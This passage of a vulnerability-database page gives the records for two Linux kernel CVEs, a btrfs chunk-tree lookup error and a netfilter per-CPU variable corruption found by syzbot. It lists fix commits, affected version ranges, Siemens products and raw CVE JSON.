Summary

In the Linux kernel, the following vulnerability has been resolved: btrfs: handle chunk tree lookup error in btrfs_relocate_sys_chunks() The unhandled case in btrfs_relocate_sys_chunks() loop is a corruption, as it could be caused only by two impossible conditions: - at first the search key is set up to look for a chunk tree item, with offset -1, this is an inexact search and the key->offset will contain the correct offset upon a successful search, a valid chunk tree item cannot have an offset -1 - after first successful search, the found_key corresponds to a chunk item, the offset is decremented by 1 before the next loop, it's impossible to find a chunk item there due to alignment and size constraints

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/bebd9e0ff90034875…
https://git.kernel.org/stable/c/576164bd01bd795f8…
https://git.kernel.org/stable/c/87299cdaae757f3f4…
https://git.kernel.org/stable/c/d1ffa4ae2d591fdd4…
https://git.kernel.org/stable/c/36c2a2863bc389624…
https://git.kernel.org/stable/c/0d23b34c68c46cd22…
https://git.kernel.org/stable/c/1f9212cdbd005bc55…
https://git.kernel.org/stable/c/7411055db5ce64f83…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 2b82032c34ec40515d3c45c36cd1961f37977de8 , < bebd9e0ff90034875c5dfe4bd514fd7055fc7a89 (git) Affected: 2b82032c34ec40515d3c45c36cd1961f37977de8 , < 576164bd01bd795f8b09fb194b493103506b33c9 (git) Affected: 2b82032c34ec40515d3c45c36cd1961f37977de8 , < 87299cdaae757f3f41212146cfb5b3af416b8385 (git) Affected: 2b82032c34ec40515d3c45c36cd1961f37977de8 , < d1ffa4ae2d591fdd40471074e79954ec45f147f7 (git) Affected: 2b82032c34ec40515d3c45c36cd1961f37977de8 , < 36c2a2863bc3896243eb724dc3fd4cf9aea633f2 (git) Affected: 2b82032c34ec40515d3c45c36cd1961f37977de8 , < 0d23b34c68c46cd225b55868bc8a269e3134816d (git) Affected: 2b82032c34ec40515d3c45c36cd1961f37977de8 , < 1f9212cdbd005bc55f2b7422e7b560d9c02bd1da (git) Affected: 2b82032c34ec40515d3c45c36cd1961f37977de8 , < 7411055db5ce64f836aaffd422396af0075fdc99 (git)
Linux	Linux	Affected: 2.6.29 Unaffected: 0 , < 2.6.29 (semver) Unaffected: 4.19.312 , ≤ 4.19.* (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.155 , ≤ 5.15.* (semver) Unaffected: 6.1.86 , ≤ 6.1.* (semver) Unaffected: 6.6.27 , ≤ 6.6.* (semver) Unaffected: 6.8.6 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35936",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-20T17:12:29.915009Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:33:57.902Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:49.118Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/bebd9e0ff90034875c5dfe4bd514fd7055fc7a89"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/576164bd01bd795f8b09fb194b493103506b33c9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/87299cdaae757f3f41212146cfb5b3af416b8385"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d1ffa4ae2d591fdd40471074e79954ec45f147f7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/36c2a2863bc3896243eb724dc3fd4cf9aea633f2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0d23b34c68c46cd225b55868bc8a269e3134816d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1f9212cdbd005bc55f2b7422e7b560d9c02bd1da"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7411055db5ce64f836aaffd422396af0075fdc99"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:00.292Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/btrfs/volumes.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "bebd9e0ff90034875c5dfe4bd514fd7055fc7a89",
              "status": "affected",
              "version": "2b82032c34ec40515d3c45c36cd1961f37977de8",
              "versionType": "git"
            },
            {
              "lessThan": "576164bd01bd795f8b09fb194b493103506b33c9",
              "status": "affected",
              "version": "2b82032c34ec40515d3c45c36cd1961f37977de8",
              "versionType": "git"
            },
            {
              "lessThan": "87299cdaae757f3f41212146cfb5b3af416b8385",
              "status": "affected",
              "version": "2b82032c34ec40515d3c45c36cd1961f37977de8",
              "versionType": "git"
            },
            {
              "lessThan": "d1ffa4ae2d591fdd40471074e79954ec45f147f7",
              "status": "affected",
              "version": "2b82032c34ec40515d3c45c36cd1961f37977de8",
              "versionType": "git"
            },
            {
              "lessThan": "36c2a2863bc3896243eb724dc3fd4cf9aea633f2",
              "status": "affected",
              "version": "2b82032c34ec40515d3c45c36cd1961f37977de8",
              "versionType": "git"
            },
            {
              "lessThan": "0d23b34c68c46cd225b55868bc8a269e3134816d",
              "status": "affected",
              "version": "2b82032c34ec40515d3c45c36cd1961f37977de8",
              "versionType": "git"
            },
            {
              "lessThan": "1f9212cdbd005bc55f2b7422e7b560d9c02bd1da",
              "status": "affected",
              "version": "2b82032c34ec40515d3c45c36cd1961f37977de8",
              "versionType": "git"
            },
            {
              "lessThan": "7411055db5ce64f836aaffd422396af0075fdc99",
              "status": "affected",
              "version": "2b82032c34ec40515d3c45c36cd1961f37977de8",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/btrfs/volumes.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.29"
            },
            {
              "lessThan": "2.6.29",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.312",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.155",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.86",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.27",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.155",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.86",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.27",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.6",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: handle chunk tree lookup error in btrfs_relocate_sys_chunks()\n\nThe unhandled case in btrfs_relocate_sys_chunks() loop is a corruption,\nas it could be caused only by two impossible conditions:\n\n- at first the search key is set up to look for a chunk tree item, with\n  offset -1, this is an inexact search and the key-\u003eoffset will contain\n  the correct offset upon a successful search, a valid chunk tree item\n  cannot have an offset -1\n\n- after first successful search, the found_key corresponds to a chunk\n  item, the offset is decremented by 1 before the next loop, it\u0027s\n  impossible to find a chunk item there due to alignment and size\n  constraints"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:14:04.422Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/bebd9e0ff90034875c5dfe4bd514fd7055fc7a89"
        },
        {
          "url": "https://git.kernel.org/stable/c/576164bd01bd795f8b09fb194b493103506b33c9"
        },
        {
          "url": "https://git.kernel.org/stable/c/87299cdaae757f3f41212146cfb5b3af416b8385"
        },
        {
          "url": "https://git.kernel.org/stable/c/d1ffa4ae2d591fdd40471074e79954ec45f147f7"
        },
        {
          "url": "https://git.kernel.org/stable/c/36c2a2863bc3896243eb724dc3fd4cf9aea633f2"
        },
        {
          "url": "https://git.kernel.org/stable/c/0d23b34c68c46cd225b55868bc8a269e3134816d"
        },
        {
          "url": "https://git.kernel.org/stable/c/1f9212cdbd005bc55f2b7422e7b560d9c02bd1da"
        },
        {
          "url": "https://git.kernel.org/stable/c/7411055db5ce64f836aaffd422396af0075fdc99"
        }
      ],
      "title": "btrfs: handle chunk tree lookup error in btrfs_relocate_sys_chunks()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35936",
    "datePublished": "2024-05-19T10:10:42.967Z",
    "dateReserved": "2024-05-17T13:50:33.130Z",
    "dateUpdated": "2026-05-12T11:53:00.292Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-49952 (GCVE-0-2024-49952)

Vulnerability from cvelistv5 – Published: 2024-10-21 18:02 – Updated: 2026-05-12 11:59

Title

netfilter: nf_tables: prevent nf_skb_duplicated corruption

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: prevent nf_skb_duplicated corruption syzbot found that nf_dup_ipv4() or nf_dup_ipv6() could write per-cpu variable nf_skb_duplicated in an unsafe way [1]. Disabling preemption as hinted by the splat is not enough, we have to disable soft interrupts as well. [1] BUG: using __this_cpu_write() in preemptible [00000000] code: syz.4.282/6316 caller is nf_dup_ipv4+0x651/0x8f0 net/ipv4/netfilter/nf_dup_ipv4.c:87 CPU: 0 UID: 0 PID: 6316 Comm: syz.4.282 Not tainted 6.11.0-rc7-syzkaller-00104-g7052622fccb1 #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/06/2024 Call Trace: <TASK> __dump_stack lib/dump_stack.c:93 [inline] dump_stack_lvl+0x241/0x360 lib/dump_stack.c:119 check_preemption_disabled+0x10e/0x120 lib/smp_processor_id.c:49 nf_dup_ipv4+0x651/0x8f0 net/ipv4/netfilter/nf_dup_ipv4.c:87 nft_dup_ipv4_eval+0x1db/0x300 net/ipv4/netfilter/nft_dup_ipv4.c:30 expr_call_ops_eval net/netfilter/nf_tables_core.c:240 [inline] nft_do_chain+0x4ad/0x1da0 net/netfilter/nf_tables_core.c:288 nft_do_chain_ipv4+0x202/0x320 net/netfilter/nft_chain_filter.c:23 nf_hook_entry_hookfn include/linux/netfilter.h:154 [inline] nf_hook_slow+0xc3/0x220 net/netfilter/core.c:626 nf_hook+0x2c4/0x450 include/linux/netfilter.h:269 NF_HOOK_COND include/linux/netfilter.h:302 [inline] ip_output+0x185/0x230 net/ipv4/ip_output.c:433 ip_local_out net/ipv4/ip_output.c:129 [inline] ip_send_skb+0x74/0x100 net/ipv4/ip_output.c:1495 udp_send_skb+0xacf/0x1650 net/ipv4/udp.c:981 udp_sendmsg+0x1c21/0x2a60 net/ipv4/udp.c:1269 sock_sendmsg_nosec net/socket.c:730 [inline] __sock_sendmsg+0x1a6/0x270 net/socket.c:745 ____sys_sendmsg+0x525/0x7d0 net/socket.c:2597 ___sys_sendmsg net/socket.c:2651 [inline] __sys_sendmmsg+0x3b2/0x740 net/socket.c:2737 __do_sys_sendmmsg net/socket.c:2766 [inline] __se_sys_sendmmsg net/socket.c:2763 [inline] __x64_sys_sendmmsg+0xa0/0xb0 net/socket.c:2763 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f4ce4f7def9 Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f4ce5d4a038 EFLAGS: 00000246 ORIG_RAX: 0000000000000133 RAX: ffffffffffffffda RBX: 00007f4ce5135f80 RCX: 00007f4ce4f7def9 RDX: 0000000000000001 RSI: 0000000020005d40 RDI: 0000000000000006 RBP: 00007f4ce4ff0b76 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000 R13: 0000000000000000 R14: 00007f4ce5135f80 R15: 00007ffd4cbc6d68 </TASK>

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/50067d8b3f48e4cd4…
https://git.kernel.org/stable/c/c0add6ed2cf1c4733…
https://git.kernel.org/stable/c/531754952f5dfc4b1…
https://git.kernel.org/stable/c/38e3fd0c4a2616052…
https://git.kernel.org/stable/c/b40b027a0c0cc1cb9…
https://git.kernel.org/stable/c/4e3542f40f3a94efa…
https://git.kernel.org/stable/c/f839c5cd348201fec…
https://git.kernel.org/stable/c/752e1924604254f17…
https://git.kernel.org/stable/c/92ceba94de6fb4cee…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: d877f07112f1e5a247c6b585c971a93895c9f738 , < 50067d8b3f48e4cd4c9e817d3e9a5b5ff3507ca7 (git) Affected: d877f07112f1e5a247c6b585c971a93895c9f738 , < c0add6ed2cf1c4733cd489efc61faeccd3433b41 (git) Affected: d877f07112f1e5a247c6b585c971a93895c9f738 , < 531754952f5dfc4b141523088147071d6e6112c4 (git) Affected: d877f07112f1e5a247c6b585c971a93895c9f738 , < 38e3fd0c4a2616052eb3c8f4e6f32d1ff47cd663 (git) Affected: d877f07112f1e5a247c6b585c971a93895c9f738 , < b40b027a0c0cc1cb9471a13f9730bb2fff12a15b (git) Affected: d877f07112f1e5a247c6b585c971a93895c9f738 , < 4e3542f40f3a94efa59ea328e307c50601ed7065 (git) Affected: d877f07112f1e5a247c6b585c971a93895c9f738 , < f839c5cd348201fec440d987cbca9b979bdb4fa7 (git) Affected: d877f07112f1e5a247c6b585c971a93895c9f738 , < 752e1924604254f1708f3e3700283a86ebdd325d (git) Affected: d877f07112f1e5a247c6b585c971a93895c9f738 , < 92ceba94de6fb4cee2bf40b485979c342f44a492 (git)
Linux	Linux	Affected: 4.3 Unaffected: 0 , < 4.3 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.55 , ≤ 6.6.* (semver) Unaffected: 6.10.14 , ≤ 6.10.* (semver) Unaffected: 6.11.3 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-49952",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:36:15.803620Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:38:48.971Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:23:32.342Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:59:26.475Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/netfilter/nf_dup_ipv4.c",
            "net/ipv6/netfilter/nf_dup_ipv6.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "50067d8b3f48e4cd4c9e817d3e9a5b5ff3507ca7",
              "status": "affected",
              "version": "d877f07112f1e5a247c6b585c971a93895c9f738",
              "versionType": "git"
            },
            {
              "lessThan": "c0add6ed2cf1c4733cd489efc61faeccd3433b41",
              "status": "affected",
              "version": "d877f07112f1e5a247c6b585c971a93895c9f738",
              "versionType": "git"
            },
            {
              "lessThan": "531754952f5dfc4b141523088147071d6e6112c4",
              "status": "affected",
              "version": "d877f07112f1e5a247c6b585c971a93895c9f738",
              "versionType": "git"
            },
            {
              "lessThan": "38e3fd0c4a2616052eb3c8f4e6f32d1ff47cd663",
              "status": "affected",
              "version": "d877f07112f1e5a247c6b585c971a93895c9f738",
              "versionType": "git"
            },
            {
              "lessThan": "b40b027a0c0cc1cb9471a13f9730bb2fff12a15b",
              "status": "affected",
              "version": "d877f07112f1e5a247c6b585c971a93895c9f738",
              "versionType": "git"
            },
            {
              "lessThan": "4e3542f40f3a94efa59ea328e307c50601ed7065",
              "status": "affected",
              "version": "d877f07112f1e5a247c6b585c971a93895c9f738",
              "versionType": "git"
            },
            {
              "lessThan": "f839c5cd348201fec440d987cbca9b979bdb4fa7",
              "status": "affected",
              "version": "d877f07112f1e5a247c6b585c971a93895c9f738",
              "versionType": "git"
            },
            {
              "lessThan": "752e1924604254f1708f3e3700283a86ebdd325d",
              "status": "affected",
              "version": "d877f07112f1e5a247c6b585c971a93895c9f738",
              "versionType": "git"
            },
            {
              "lessThan": "92ceba94de6fb4cee2bf40b485979c342f44a492",
              "status": "affected",
              "version": "d877f07112f1e5a247c6b585c971a93895c9f738",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/netfilter/nf_dup_ipv4.c",
            "net/ipv6/netfilter/nf_dup_ipv6.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.3"
            },
            {
              "lessThan": "4.3",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.55",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "4.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "4.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "4.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "4.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "4.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.55",
                  "versionStartIncluding": "4.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.14",
                  "versionStartIncluding": "4.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.3",
                  "versionStartIncluding": "4.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "4.3",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: prevent nf_skb_duplicated corruption\n\nsyzbot found that nf_dup_ipv4() or nf_dup_ipv6() could write\nper-cpu variable nf_skb_duplicated in an unsafe way [1].\n\nDisabling preemption as hinted by the splat is not enough,\nwe have to disable soft interrupts as well.\n\n[1]\nBUG: using __this_cpu_write() in preemptible [00000000] code: syz.4.282/6316\n caller is nf_dup_ipv4+0x651/0x8f0 net/ipv4/netfilter/nf_dup_ipv4.c:87\nCPU: 0 UID: 0 PID: 6316 Comm: syz.4.282 Not tainted 6.11.0-rc7-syzkaller-00104-g7052622fccb1 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/06/2024\nCall Trace:\n \u003cTASK\u003e\n  __dump_stack lib/dump_stack.c:93 [inline]\n  dump_stack_lvl+0x241/0x360 lib/dump_stack.c:119\n  check_preemption_disabled+0x10e/0x120 lib/smp_processor_id.c:49\n  nf_dup_ipv4+0x651/0x8f0 net/ipv4/netfilter/nf_dup_ipv4.c:87\n  nft_dup_ipv4_eval+0x1db/0x300 net/ipv4/netfilter/nft_dup_ipv4.c:30\n  expr_call_ops_eval net/netfilter/nf_tables_core.c:240 [inline]\n  nft_do_chain+0x4ad/0x1da0 net/netfilter/nf_tables_core.c:288\n  nft_do_chain_ipv4+0x202/0x320 net/netfilter/nft_chain_filter.c:23\n  nf_hook_entry_hookfn include/linux/netfilter.h:154 [inline]\n  nf_hook_slow+0xc3/0x220 net/netfilter/core.c:626\n  nf_hook+0x2c4/0x450 include/linux/netfilter.h:269\n  NF_HOOK_COND include/linux/netfilter.h:302 [inline]\n  ip_output+0x185/0x230 net/ipv4/ip_output.c:433\n  